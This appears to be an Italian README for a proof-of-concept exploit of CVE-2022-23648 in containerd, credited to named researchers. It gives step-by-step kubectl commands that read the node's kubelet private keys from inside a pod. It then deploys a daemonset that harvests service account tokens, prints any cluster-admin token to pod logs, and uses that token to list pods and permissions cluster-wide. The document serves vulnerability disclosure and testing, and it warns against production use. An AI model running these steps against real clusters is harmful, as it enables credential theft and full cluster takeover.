CVE-2022-23648-POC

PoC per CVE-2022-23648

Questa è una prova di concetto per la CVE-2022-23648 di @_fel1x. Informazioni sulla divulgazione qui, informazioni sulla CVE qui e un blog con ulteriori informazioni e idee di mitigazione qui. Il Containerfile contiene le informazioni necessarie e puoi cambiare la destinazione del VOLUME per provare percorsi diversi.

Il modo più semplice per dimostrarne il funzionamento è usare KinD che dispone di immagini sfruttabili.

Procedura di test di base

A meno che il nodo non abbia una grande quantità di dati in /var/lib/kubelet/pki, questo dovrebbe essere un test sicuro.

• kind create cluster --image=kindest/node:v1.21.1
• kubectl create -f pod-manifest.yaml
• kubectl exec poctest -- ls /var/lib/kubelet/pki/

E se ottieni file tra cui kubelet.key, ha funzionato :)

Prova a escalare a cluster-admin

NOTA: Non tentare questa operazione su un cluster di produzione. Un Containerd vulnerabile potrebbe duplicare una grande quantità di dati nel pod dell'attacco ed esaurire lo spazio su disco. Inoltre, questo stamperà i token SA con privilegi cluster-admin nei log del pod, che probabilmente verranno inviati in chiaro a una destinazione di logging.

Questo eseguirà un daemonset che tenta di enumerare tutti i token dei service account Kubernetes sul nodo e, se uno di essi risulta essere un token cluster-admin, di stamparlo nei log del pod.

• kubectl apply -f ds.yaml
• kubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i '*' '*' -A

Se viene stampato yes, congratulazioni, hai un token del service account cluster-admin di breve durata, esegui:

• kubectl logs -l app=poctest | head -1 | awk -F\. '{print $2}' | base64 -d per vedere di quale SA si tratta

• kubectl --token="$(kubectl logs -l app=poctest | head -1)" get pods -A

• kubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i --list

Autore

• Rory McCune (@raesene)

Collaboratori

• @BradGeesaman - Daemonset di escalation